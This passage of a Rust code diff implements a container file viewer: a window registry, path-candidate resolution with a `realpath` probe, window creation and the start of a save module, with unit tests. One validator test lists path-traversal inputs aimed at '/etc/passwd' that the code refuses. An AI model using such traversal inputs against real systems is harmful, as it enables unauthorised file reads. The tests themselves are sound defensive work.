|
||||
fn test_dir(name: &str) -> std::path::PathBuf {
|
||||
let dir = std::env::temp_dir().join(format!("tc-poll-{}-{}", name, uuid::Uuid::new_v4()));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
dir
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_the_poll_script_reports_hash_size_and_gone() {
|
||||
let dir = test_dir("plain");
|
||||
let target = dir.join("t.txt");
|
||||
std::fs::write(&target, b"hello\n").unwrap();
|
||||
let (code, stdout, stderr) = run_poll_script(None, &target);
|
||||
assert_eq!(code, 0, "stderr={stderr}");
|
||||
let p = parse_poll_output(code, &stdout);
|
||||
assert_eq!(p.hash.as_deref(), Some(super::super::write::sha256_hex(b"hello\n").as_str()));
|
||||
assert_eq!(p.size, Some(6));
|
||||
|
||||
let (code, _, _) = run_poll_script(None, &dir.join("missing"));
|
||||
assert_eq!(code, 4);
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// M6: the file is deleted after `test -f` passed but before `sha256sum` read it
|
||||
/// (a `sha256sum` shim on PATH deletes it and fails). That is "gone", not an error
|
||||
/// the viewer would have to explain.
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_file_deleted_mid_poll_reads_as_gone() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let dir = test_dir("race");
|
||||
let bin = dir.join("bin");
|
||||
std::fs::create_dir_all(&bin).unwrap();
|
||||
let shim = bin.join("sha256sum");
|
||||
std::fs::write(&shim, "#!/bin/sh\nrm -f -- \"$2\"\necho 'sha256sum: No such file or directory' >&2\nexit 1\n").unwrap();
|
||||
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
|
||||
let target = dir.join("t.txt");
|
||||
std::fs::write(&target, b"x").unwrap();
|
||||
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
|
||||
|
||||
let (code, stdout, stderr) = run_poll_script(Some(&path), &target);
|
||||
|
||||
assert_eq!(code, 4, "stderr={stderr}");
|
||||
assert_eq!(parse_poll_output(code, &stdout), ViewerPoll { exists: false, hash: None, size: None });
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// A failure with the file still present stays a real error (exit 1), which
|
||||
/// `poll_file` turns into "Could not check the file: …".
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn on_the_host_a_hash_failure_on_a_present_file_is_an_error() {
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let dir = test_dir("fail");
|
||||
let bin = dir.join("bin");
|
||||
std::fs::create_dir_all(&bin).unwrap();
|
||||
let shim = bin.join("sha256sum");
|
||||
std::fs::write(&shim, "#!/bin/sh\necho 'sha256sum: Permission denied' >&2\nexit 1\n").unwrap();
|
||||
std::fs::set_permissions(&shim, std::fs::Permissions::from_mode(0o755)).unwrap();
|
||||
let target = dir.join("t.txt");
|
||||
std::fs::write(&target, b"x").unwrap();
|
||||
let path = format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default());
|
||||
|
||||
let (code, _stdout, stderr) = run_poll_script(Some(&path), &target);
|
||||
|
||||
assert_eq!(code, 1, "stderr={stderr}");
|
||||
assert!(stderr.contains("Permission denied"));
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
}
|
||||
|
||||
/// P15: a path containing a backslash makes GNU `sha256sum` prefix the whole
|
||||
/// line with `\`; that must not blind change detection by yielding `hash: None`.
|
||||
#[test]
|
||||
fn a_backslash_prefixed_hash_is_still_recognised() {
|
||||
let out = "\\e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /workspace/x\\y\n7\n";
|
||||
let p = parse_poll_output(0, out);
|
||||
assert_eq!(
|
||||
p.hash.as_deref(),
|
||||
Some("e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855")
|
||||
);
|
||||
assert_eq!(p.size, Some(7));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
//! Which viewer window is looking at what.
|
||||
//!
|
||||
//! Managed with `app.manage(ViewerRegistry::default())` rather than as a field on
|
||||
//! `AppState`, like the browser view keeps its own state. A label is reserved *before*
|
||||
//! the window is built so two concurrent clicks cannot both pass the cap check.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::Mutex;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use super::{MAX_VIEWER_WINDOWS, VIEWER_LABEL_PREFIX};
|
||||
|
||||
#[derive(Clone, Debug, Serialize, Deserialize, PartialEq, Eq, Default)]
|
||||
pub struct Location {
|
||||
pub line: Option<u32>,
|
||||
pub col: Option<u32>,
|
||||
pub end_line: Option<u32>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
#[serde(tag = "kind", rename_all = "snake_case")]
|
||||
pub enum ViewerTargetState {
|
||||
Resolved { container_path: String },
|
||||
Choose { candidates: Vec<String> },
|
||||
NotFound { tried: Vec<String> },
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize, PartialEq, Eq)]
|
||||
pub struct ViewerTarget {
|
||||
pub project_id: String,
|
||||
pub project_name: String,
|
||||
pub raw_path: String,
|
||||
pub state: ViewerTargetState,
|
||||
pub initial: Location,
|
||||
}
|
||||
|
||||
/// What [`ViewerRegistry::reserve`] decided.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub enum Reservation {
|
||||
/// A window is already registered on this file. `built` is false while that
|
||||
/// window is still being created: it has no `WebviewWindow` to focus yet, and
|
||||
/// it will open at its own location, so the caller should simply return.
|
||||
Existing { label: String, built: bool },
|
||||
/// A new label, registered and counted against the cap; build its window,
|
||||
/// then call [`ViewerRegistry::mark_built`] (or `remove` if building failed).
|
||||
Reserved(String),
|
||||
}
|
||||
|
||||
/// What [`ViewerRegistry::choose`] decided.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
pub enum Choice {
|
||||
/// The caller's entry now points at the chosen file.
|
||||
Resolved(ViewerTarget),
|
||||
/// Another window already has that file; the caller's entry is unchanged.
|
||||
AlreadyOpen { label: String, built: bool },
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct Entry {
|
||||
target: ViewerTarget,
|
||||
/// Set once the window's `build()` has returned. Until then the label has no
|
||||
/// window by design, so "registered but windowless" means "being built", not
|
||||
/// "stale" — only built entries are ever pruned.
|
||||
built: bool,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct ViewerRegistry {
|
||||
entries: Mutex<HashMap<String, Entry>>,
|
||||
next: AtomicU64,
|
||||
}
|
||||
|
||||
fn same_file(t: &ViewerTarget, project_id: &str, container_path: &str) -> bool {
|
||||
t.project_id == project_id
|
||||
&& matches!(&t.state, ViewerTargetState::Resolved { container_path: p } if p == container_path)
|
||||
}
|
||||
|
||||
fn open_on(
|
||||
entries: &HashMap<String, Entry>,
|
||||
project_id: &str,
|
||||
container_path: &str,
|
||||
except: Option<&str>,
|
||||
) -> Option<(String, bool)> {
|
||||
entries
|
||||
.iter()
|
||||
.find(|(label, e)| Some(label.as_str()) != except && same_file(&e.target, project_id, container_path))
|
||||
.map(|(label, e)| (label.clone(), e.built))
|
||||
}
|
||||
|
||||
/// Drops built entries whose window is gone, whatever their state. `Destroyed`
|
||||
/// normally removes an entry; this is the backstop for one it missed, so a leak
|
||||
/// can never hold a cap slot for good.
|
||||
fn prune(entries: &mut HashMap<String, Entry>, is_live: &dyn Fn(&str) -> bool) {
|
||||
entries.retain(|label, e| !e.built || is_live(label));
|
||||
}
|
||||
|
||||
impl ViewerRegistry {
|
||||
fn lock(&self) -> std::sync::MutexGuard<'_, HashMap<String, Entry>> {
|
||||
self.entries.lock().unwrap_or_else(|e| e.into_inner())
|
||||
}
|
||||
|
||||
/// Finds the window already open on a resolved target, or reserves a label,
|
||||
/// in one critical section, after pruning built entries `is_live` says are
|
||||
/// gone. `is_live` runs under the registry lock and must not call back into
|
||||
/// the registry.
|
||||
pub fn reserve(
|
||||
&self,
|
||||
target: ViewerTarget,
|
||||
is_live: impl Fn(&str) -> bool,
|
||||
) -> Result<Reservation, String> {
|
||||
let mut entries = self.lock();
|
||||
prune(&mut entries, &is_live);
|
||||
if let ViewerTargetState::Resolved { container_path } = &target.state {
|
||||
if let Some((label, built)) = open_on(&entries, &target.project_id, container_path, None) {
|
||||
return Ok(Reservation::Existing { label, built });
|
||||
}
|
||||
}
|
||||
if entries.len() >= MAX_VIEWER_WINDOWS {
|
||||
return Err(format!(
|
||||
"{} file windows are already open — close one before opening another.",
|
||||
MAX_VIEWER_WINDOWS
|
||||
));
|
||||
}
|
||||
let n = self.next.fetch_add(1, Ordering::SeqCst) + 1;
|
||||
let label = format!("{}{}", VIEWER_LABEL_PREFIX, n);
|
||||
entries.insert(label.clone(), Entry { target, built: false });
|
||||
Ok(Reservation::Reserved(label))
|
||||
}
|
||||
|
||||
/// Records that `label`'s window exists. A no-op if it was already removed
|
||||
/// (a window destroyed the moment it appeared).
|
||||
pub fn mark_built(&self, label: &str) {
|
||||
if let Some(e) = self.lock().get_mut(label) {
|
||||
e.built = true;
|
||||
}
|
||||
}
|
||||
|
||||
/// Points `label`'s entry at `container_path`, unless another window already
|
||||
/// has that file open — then the entry is left alone, so no two entries are
|
||||
/// ever resolved to the same file.
|
||||
pub fn choose(
|
||||
&self,
|
||||
label: &str,
|
||||
container_path: String,
|
||||
is_live: impl Fn(&str) -> bool,
|
||||
) -> Result<Choice, String> {
|
||||
let mut entries = self.lock();
|
||||
prune(&mut entries, &is_live);
|
||||
let project_id = entries
|
||||
.get(label)
|
||||
.ok_or_else(|| "This file window is no longer registered.".to_string())?
|
||||
.target
|
||||
.project_id
|
||||
.clone();
|
||||
if let Some((other, built)) = open_on(&entries, &project_id, &container_path, Some(label)) {
|
||||
return Ok(Choice::AlreadyOpen { label: other, built });
|
||||
}
|
||||
let entry = entries.get_mut(label).expect("checked above under the same lock");
|
||||
entry.target.state = ViewerTargetState::Resolved { container_path };
|
||||
Ok(Choice::Resolved(entry.target.clone()))
|
||||
}
|
||||
|
||||
pub fn get(&self, label: &str) -> Option<ViewerTarget> {
|
||||
self.lock().get(label).map(|e| e.target.clone())
|
||||
}
|
||||
|
||||
pub fn set_state(&self, label: &str, state: ViewerTargetState) -> Result<ViewerTarget, String> {
|
||||
let mut entries = self.lock();
|
||||
let entry = entries
|
||||
.get_mut(label)
|
||||
.ok_or_else(|| "This file window is no longer registered.".to_string())?;
|
||||
entry.target.state = state;
|
||||
Ok(entry.target.clone())
|
||||
}
|
||||
|
||||
pub fn remove(&self, label: &str) {
|
||||
self.lock().remove(label);
|
||||
}
|
||||
|
||||
pub fn find_open(&self, project_id: &str, container_path: &str) -> Option<String> {
|
||||
open_on(&self.lock(), project_id, container_path, None).map(|(label, _)| label)
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.lock().len()
|
||||
}
|
||||
|
||||
pub fn is_empty(&self) -> bool {
|
||||
self.len() == 0
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn target(project: &str, path: &str) -> ViewerTarget {
|
||||
ViewerTarget {
|
||||
project_id: project.into(),
|
||||
project_name: "Demo".into(),
|
||||
raw_path: path.into(),
|
||||
state: ViewerTargetState::Resolved { container_path: path.into() },
|
||||
initial: Location { line: Some(3), col: None, end_line: None },
|
||||
}
|
||||
}
|
||||
|
||||
fn all_live(_: &str) -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
/// Reserves a label that must be new.
|
||||
fn fresh(r: &ViewerRegistry, t: ViewerTarget) -> String {
|
||||
match r.reserve(t, all_live).unwrap() {
|
||||
Reservation::Reserved(label) => label,
|
||||
other => panic!("expected a new label, got {:?}", other),
|
||||
}
|
||||
}
|
||||
|
||||
fn choosing(project: &str, candidates: &[&str]) -> ViewerTarget {
|
||||
ViewerTarget {
|
||||
state: ViewerTargetState::Choose { candidates: candidates.iter().map(|c| c.to_string()).collect() },
|
||||
..target(project, "a")
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn labels_are_sequential_and_never_reused() {
|
||||
let r = ViewerRegistry::default();
|
||||
let a = fresh(&r, target("p", "/workspace/a"));
|
||||
let b = fresh(&r, target("p", "/workspace/b"));
|
||||
assert_eq!(a, "file-viewer-1");
|
||||
assert_eq!(b, "file-viewer-2");
|
||||
r.remove(&a);
|
||||
let c = fresh(&r, target("p", "/workspace/c"));
|
||||
assert_eq!(c, "file-viewer-3");
|
||||
assert_eq!(r.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_cap_refuses_the_twenty_first_window() {
|
||||
let r = ViewerRegistry::default();
|
||||
for i in 0..MAX_VIEWER_WINDOWS {
|
||||
fresh(&r, target("p", &format!("/workspace/{}", i)));
|
||||
}
|
||||
let err = r.reserve(target("p", "/workspace/one-more"), all_live).unwrap_err();
|
||||
assert!(err.contains("20"), "{}", err);
|
||||
assert_eq!(r.len(), MAX_VIEWER_WINDOWS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_open_resolved_file_is_found_by_project_and_path() {
|
||||
let r = ViewerRegistry::default();
|
||||
let label = fresh(&r, target("p", "/workspace/a"));
|
||||
assert_eq!(r.find_open("p", "/workspace/a"), Some(label.clone()));
|
||||
assert_eq!(r.find_open("other", "/workspace/a"), None);
|
||||
// A window still choosing is not "open on" any path.
|
||||
r.set_state(&label, ViewerTargetState::Choose { candidates: vec!["/workspace/a".into()] }).unwrap();
|
||||
assert_eq!(r.find_open("p", "/workspace/a"), None);
|
||||
r.remove(&label);
|
||||
assert_eq!(r.get(&label), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_state_on_an_unknown_label_is_an_error() {
|
||||
let r = ViewerRegistry::default();
|
||||
assert!(r.set_state("file-viewer-9", ViewerTargetState::NotFound { tried: vec![] }).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn target_state_serialises_with_a_kind_tag() {
|
||||
let s = serde_json::to_string(&ViewerTargetState::NotFound { tried: vec!["/x".into()] }).unwrap();
|
||||
assert_eq!(s, r#"{"kind":"not_found","tried":["/x"]}"#);
|
||||
}
|
||||
|
||||
/// I1: a second click while the first window is still being built must find
|
||||
/// that window, not read it as stale and reserve a second one.
|
||||
#[test]
|
||||
fn a_window_being_built_is_found_not_replaced() {
|
||||
let r = ViewerRegistry::default();
|
||||
let a = fresh(&r, target("p", "/workspace/a"));
|
||||
// No window exists yet for `a`: `is_live` says so, and it must not matter.
|
||||
let second = r.reserve(target("p", "/workspace/a"), |_| false).unwrap();
|
||||
assert_eq!(second, Reservation::Existing { label: a.clone(), built: false });
|
||||
assert!(r.get(&a).is_some());
|
||||
assert_eq!(r.len(), 1);
|
||||
|
||||
r.mark_built(&a);
|
||||
let third = r.reserve(target("p", "/workspace/a"), all_live).unwrap();
|
||||
assert_eq!(third, Reservation::Existing { label: a, built: true });
|
||||
assert_eq!(r.len(), 1);
|
||||
}
|
||||
|
||||
/// A built entry whose window is gone is stale: pruned, and the file reopens.
|
||||
#[test]
|
||||
fn a_built_entry_without_a_window_is_pruned_and_the_file_reopens() {
|
||||
let r = ViewerRegistry::default();
|
||||
let a = fresh(&r, target("p", "/workspace/a"));
|
||||
r.mark_built(&a);
|
||||
let again = r.reserve(target("p", "/workspace/a"), |_| false).unwrap();
|
||||
assert_eq!(again, Reservation::Reserved("file-viewer-2".into()));
|
||||
assert_eq!(r.get(&a), None);
|
||||
assert_eq!(r.len(), 1);
|
||||
}
|
||||
|
||||
/// M2: a leaked entry of any state cannot hold a cap slot once built and gone,
|
||||
/// and an entry still being built always keeps its slot.
|
||||
#[test]
|
||||
fn leaked_entries_of_every_state_free_their_cap_slot() {
|
||||
let r = ViewerRegistry::default();
|
||||
let mut labels = Vec::new();
|
||||
for i in 0..MAX_VIEWER_WINDOWS {
|
||||
let t = match i % 3 {
|
||||
0 => target("p", &format!("/workspace/{}", i)),
|
||||
1 => choosing("p", &["/workspace/x", "/workspace/y"]),
|
||||
_ => ViewerTarget { state: ViewerTargetState::NotFound { tried: vec![] }, ..target("p", "z") },
|
||||
};
|
||||
labels.push(fresh(&r, t));
|
||||
}
|
||||
// All still being built: none may be pruned, so the cap holds.
|
||||
assert!(r.reserve(target("p", "/workspace/new"), |_| false).is_err());
|
||||
for l in &labels {
|
||||
r.mark_built(l);
|
||||
}
|
||||
// Built, and one of each state has lost its window.
|
||||
let dead = [labels[0].clone(), labels[1].clone(), labels[2].clone()];
|
||||
let live = |l: &str| !dead.iter().any(|d| d == l);
|
||||
assert!(matches!(r.reserve(target("p", "/workspace/new"), live), Ok(Reservation::Reserved(_))));
|
||||
assert_eq!(r.len(), MAX_VIEWER_WINDOWS - 2);
|
||||
for d in &dead {
|
||||
assert_eq!(r.get(d), None);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mark_built_on_a_removed_label_is_a_no_op() {
|
||||
let r = ViewerRegistry::default();
|
||||
let a = fresh(&r, target("p", "/workspace/a"));
|
||||
r.remove(&a);
|
||||
r.mark_built(&a);
|
||||
assert_eq!(r.get(&a), None);
|
||||
}
|
||||
|
||||
/// M5: choosing a file another window already has leaves the chooser alone,
|
||||
/// so two entries are never resolved to the same file.
|
||||
#[test]
|
||||
fn choosing_a_file_open_elsewhere_does_not_resolve_a_second_entry() {
|
||||
let r = ViewerRegistry::default();
|
||||
let open = fresh(&r, target("p", "/workspace/x"));
|
||||
r.mark_built(&open);
|
||||
let chooser = fresh(&r, choosing("p", &["/workspace/x", "/workspace/y"]));
|
||||
r.mark_built(&chooser);
|
||||
|
||||
let c = r.choose(&chooser, "/workspace/x".into(), all_live).unwrap();
|
||||
assert_eq!(c, Choice::AlreadyOpen { label: open.clone(), built: true });
|
||||
assert!(matches!(r.get(&chooser).unwrap().state, ViewerTargetState::Choose { .. }));
|
||||
|
||||
match r.choose(&chooser, "/workspace/y".into(), all_live).unwrap() {
|
||||
Choice::Resolved(t) => assert_eq!(t.state, ViewerTargetState::Resolved { container_path: "/workspace/y".into() }),
|
||||
other => panic!("expected Resolved, got {:?}", other),
|
||||
}
|
||||
assert_eq!(r.find_open("p", "/workspace/y"), Some(chooser));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn choosing_the_same_path_in_another_project_is_not_a_duplicate() {
|
||||
let r = ViewerRegistry::default();
|
||||
fresh(&r, target("other", "/workspace/x"));
|
||||
let chooser = fresh(&r, choosing("p", &["/workspace/x"]));
|
||||
assert!(matches!(r.choose(&chooser, "/workspace/x".into(), all_live), Ok(Choice::Resolved(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn choose_on_an_unknown_label_is_an_error() {
|
||||
let r = ViewerRegistry::default();
|
||||
assert!(r.choose("file-viewer-9", "/workspace/x".into(), all_live).is_err());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
//! Turning what Claude printed into a container path that exists.
|
||||
//!
|
||||
//! Relative paths are the common case (Claude prints project-relative paths). The
|
||||
//! terminal exec's cwd is `/workspace`, and each project path is mounted at
|
||||
//! `/workspace/<mount_name>`, so those are the roots probed, in that order. The probe
|
||||
//! is one exec as the container user and prints `realpath -e` of every candidate that
|
||||
//! is a regular file: `fetch_container_file` refuses a symlink, so the registry must
|
||||
//! hold the resolved path, not the one that was clicked.
|
||||
|
||||
use crate::commands::file_commands::validate_container_path;
|
||||
use crate::docker::exec::exec_oneshot_streams_as;
|
||||
|
||||
pub const MAX_CANDIDATES: usize = 16;
|
||||
const MAX_RAW_LEN: usize = 4096;
|
||||
|
||||
/// `$@` are the candidates. For each regular file, print its resolved path.
|
||||
pub const PROBE_SCRIPT: &str = r#"for c in "$@"; do if test -f "$c"; then realpath -e -- "$c" 2>/dev/null; fi; done; exit 0"#;
|
||||
|
||||
pub fn candidate_paths(raw: &str, mount_names: &[String]) -> Result<Vec<String>, String> {
|
||||
if raw.is_empty() {
|
||||
return Err("The path is empty.".into());
|
||||
}
|
||||
if raw.len() > MAX_RAW_LEN {
|
||||
return Err("The path is too long.".into());
|
||||
}
|
||||
if raw.contains('\0') {
|
||||
return Err("The path contains a NUL byte.".into());
|
||||
}
|
||||
if raw.split('/').any(|seg| seg == "..") {
|
||||
return Err(format!("{} climbs out of its folder with `..`; refusing.", raw));
|
||||
}
|
||||
|
||||
if raw.starts_with('/') {
|
||||
let normalised = collapse(raw);
|
||||
validate_container_path("File", &normalised)?;
|
||||
return Ok(vec![normalised]);
|
||||
}
|
||||
|
||||
let rel = collapse(raw.strip_prefix("./").unwrap_or(raw));
|
||||
let rel = rel.trim_start_matches("./");
|
||||
if rel.is_empty() {
|
||||
return Err("The path is empty.".into());
|
||||
}
|
||||
|
||||
let mut out: Vec<String> = Vec::new();
|
||||
let mut push = |candidate: String| {
|
||||
if out.len() < MAX_CANDIDATES && !out.contains(&candidate) {
|
||||
out.push(candidate);
|
||||
}
|
||||
};
|
||||
push(format!("/workspace/{}", rel));
|
||||
for mount in mount_names {
|
||||
if mount.is_empty() || mount.contains('/') || mount == "." || mount == ".." {
|
||||
continue;
|
||||
}
|
||||
push(format!("/workspace/{}/{}", mount, rel));
|
||||
}
|
||||
for c in &out {
|
||||
validate_container_path("File", c)?;
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// `a//b/./c` → `a/b/c`. Never touches `..` (rejected before this runs).
|
||||
fn collapse(path: &str) -> String {
|
||||
let absolute = path.starts_with('/');
|
||||
let joined = path
|
||||
.split('/')
|
||||
.filter(|seg| !seg.is_empty() && *seg != ".")
|
||||
.collect::<Vec<_>>()
|
||||
.join("/");
|
||||
if absolute { format!("/{}", joined) } else { joined }
|
||||
}
|
||||
|
||||
/// One resolved path per line; anything that is not an absolute, valid container path is
|
||||
/// dropped (the script's own diagnostics go to stderr, but a hostile `realpath` output is
|
||||
/// still container-authored text).
|
||||
pub fn parse_probe_output(stdout: &str) -> Vec<String> {
|
||||
let mut seen: Vec<String> = Vec::new();
|
||||
for line in stdout.lines() {
|
||||
let line = line.trim();
|
||||
if line.is_empty() || validate_container_path("File", line).is_err() {
|
||||
continue;
|
||||
}
|
||||
if !seen.iter().any(|s| s == line) {
|
||||
seen.push(line.to_string());
|
||||
}
|
||||
}
|
||||
seen
|
||||
}
|
||||
|
||||
pub async fn probe_candidates(
|
||||
container_id: &str,
|
||||
candidates: &[String],
|
||||
) -> Result<Vec<String>, String> {
|
||||
let mut cmd: Vec<String> = vec!["sh".into(), "-c".into(), PROBE_SCRIPT.into(), "probe".into()];
|
||||
cmd.extend(candidates.iter().cloned());
|
||||
let (stdout, _stderr, _code) =
|
||||
exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
|
||||
Ok(parse_probe_output(&stdout))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn mounts(names: &[&str]) -> Vec<String> {
|
||||
names.iter().map(|s| s.to_string()).collect()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_absolute_path_is_its_own_only_candidate() {
|
||||
let c = candidate_paths("/workspace/api/src/main.rs", &mounts(&["api"])).unwrap();
|
||||
assert_eq!(c, vec!["/workspace/api/src/main.rs"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_relative_path_probes_workspace_then_each_mount() {
|
||||
let c = candidate_paths("src/main.rs", &mounts(&["api", "web"])).unwrap();
|
||||
assert_eq!(
|
||||
c,
|
||||
vec!["/workspace/src/main.rs", "/workspace/api/src/main.rs", "/workspace/web/src/main.rs"]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn dot_prefix_and_duplicate_slashes_are_normalised_and_candidates_deduped() {
|
||||
let c = candidate_paths("./src//main.rs", &mounts(&["api", "api", ""])).unwrap();
|
||||
assert_eq!(c, vec!["/workspace/src/main.rs", "/workspace/api/src/main.rs"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn traversal_nul_and_oversize_are_refused() {
|
||||
assert!(candidate_paths("../etc/passwd", &[]).is_err());
|
||||
assert!(candidate_paths("src/../../x", &[]).is_err());
|
||||
assert!(candidate_paths("/workspace/../etc/passwd", &[]).is_err());
|
||||
assert!(candidate_paths("a\0b", &[]).is_err());
|
||||
assert!(candidate_paths("", &[]).is_err());
|
||||
assert!(candidate_paths(&"a".repeat(5000), &[]).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn candidate_list_is_capped() {
|
||||
let many: Vec<String> = (0..40).map(|i| format!("m{}", i)).collect();
|
||||
let c = candidate_paths("x.rs", &many).unwrap();
|
||||
assert_eq!(c.len(), MAX_CANDIDATES);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn probe_output_keeps_valid_resolved_regular_files_only() {
|
||||
let out = "/workspace/api/src/main.rs\n/workspace/api/src/main.rs\n\nrelative/junk\n/etc/../x\n/workspace/web/src/main.rs\n";
|
||||
assert_eq!(
|
||||
parse_probe_output(out),
|
||||
vec!["/workspace/api/src/main.rs", "/workspace/web/src/main.rs"]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_probe_script_prints_resolved_paths_of_regular_files() {
|
||||
// Shape assertions: the script is data handed to `sh -c`, and these are the
|
||||
// three things a later edit must not lose.
|
||||
assert!(PROBE_SCRIPT.contains("test -f"));
|
||||
assert!(PROBE_SCRIPT.contains("realpath -e --"));
|
||||
assert!(PROBE_SCRIPT.contains("for c in \"$@\""));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//! The viewer window itself. Mirrors `browser_view/popout.rs`, with two differences:
|
||||
//! the URL is the app's own second entry (`WebviewUrl::App`), so the capability in
|
||||
//! `capabilities/file-viewer.json` applies; and the registry entry is removed on
|
||||
//! `Destroyed`, which fires for both the X button (after JS calls `destroy()`) and a
|
||||
//! Rust-side `destroy()`.
|
||||
|
||||
use tauri::{AppHandle, Manager, WebviewUrl, WebviewWindowBuilder, WindowEvent};
|
||||
|
||||
use super::registry::ViewerRegistry;
|
||||
|
||||
pub fn open_viewer_window(app: &AppHandle, label: &str, title: &str) -> Result<(), String> {
|
||||
let window = WebviewWindowBuilder::new(app, label, WebviewUrl::App("viewer.html".into()))
|
||||
.title(title)
|
||||
.inner_size(900.0, 700.0)
|
||||
.min_inner_size(480.0, 320.0)
|
||||
.build()
|
||||
.map_err(|e| format!("Could not open the file window: {}", e))?;
|
||||
|
||||
let app_for_event = app.clone();
|
||||
let label_owned = label.to_string();
|
||||
window.on_window_event(move |event| {
|
||||
if let WindowEvent::Destroyed = event {
|
||||
app_for_event.state::<ViewerRegistry>().remove(&label_owned);
|
||||
}
|
||||
});
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,604 @@
|
||||
//! Saving: stage in `/tmp`, then swap in as the container user.
|
||||
//!
|
||||
//! The Docker archive API writes as root, so it is used for exactly one thing — landing
|
||||
//! the payload at `/tmp/triple-c-viewer-<uuid>`, owned by the container user (the
|
||||
//! existing `write_file_to_container`). Everything that touches the *target directory*
|
||||
//! runs in an exec as `claude`, so a save can do nothing the user's own shell could not.
|
||||
//! A non-root process cannot `chown`, so the saved file is owned by the container user,
|
||||
//! as it would be after Claude Code edited it; mode is kept with `chmod --reference`.
|
||||
|
||||
use serde::Serialize;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
use crate::commands::file_commands::clip_container_text;
|
||||
use crate::docker::exec::{exec_oneshot_streams_as, ExecSessionManager};
|
||||
|
||||
/// Spec §4/§5: only untruncated (≤ 1 MiB) text is editable, so nothing larger is saved.
|
||||
pub const MAX_WRITE_BYTES: usize = 1024 * 1024;
|
||||
|
||||
pub fn sha256_hex(bytes: &[u8]) -> String {
|
||||
let digest = Sha256::digest(bytes);
|
||||
digest.iter().map(|b| format!("{:02x}", b)).collect()
|
||||
}
|
||||
|
||||
pub fn is_sha256_hex(s: &str) -> bool {
|
||||
s.len() == 64 && s.bytes().all(|b| matches!(b, b'0'..=b'9' | b'a'..=b'f'))
|
||||
}
|
||||
|
||||
/// `$1` target, `$2` staged payload in /tmp, `$3` the hash the editor loaded from.
|
||||
/// Exit 1 = a step failed (unreadable target, a failed stage/replace, …), 3 = changed
|
||||
/// on disk, 4 = gone, 5 = the target is not writable by the container user; stdout on
|
||||
/// success is `sha256sum` of the target *after* the write. That is not necessarily the
|
||||
/// hash of what we wrote: another writer (Claude Code, on the same file) can land
|
||||
/// between `mv` and `sha256sum`. `saved_file` therefore takes the save's base from the
|
||||
/// bytes and only reports this one as what the disk held afterwards (M2).
|
||||
///
|
||||
/// P15: `sha256sum -- "$target"` prefixes its whole line with `\` when the path
|
||||
/// contains a backslash or a newline, so `$actual` has that prefix stripped before
|
||||
/// it is compared with `$expect` (which never carries one) — otherwise such a path
|
||||
/// would conflict forever.
|
||||
///
|
||||
/// I1: `$actual` is read from a plain `sha256sum` command substitution, not a
|
||||
/// pipeline into `cut` — POSIX sh has no `pipefail`, so `cmd | cut … || exit 1` tests
|
||||
/// only `cut`'s exit status and an unreadable file (EACCES, EIO) fell through as a
|
||||
/// false "changed on disk" conflict (empty `$actual` never equals `$expect`) instead
|
||||
/// of a real error, hiding the actual failure from the user and from `classify_write`.
|
||||
///
|
||||
/// I2/M3: `$staged` is created by `mktemp` (exclusive — never follows a planted
|
||||
/// symlink or stale leftover at that name) and is part of the `EXIT` trap from the
|
||||
/// moment it is assigned, so a failure at any later step (`cp`, `chmod`, `mv`) cannot
|
||||
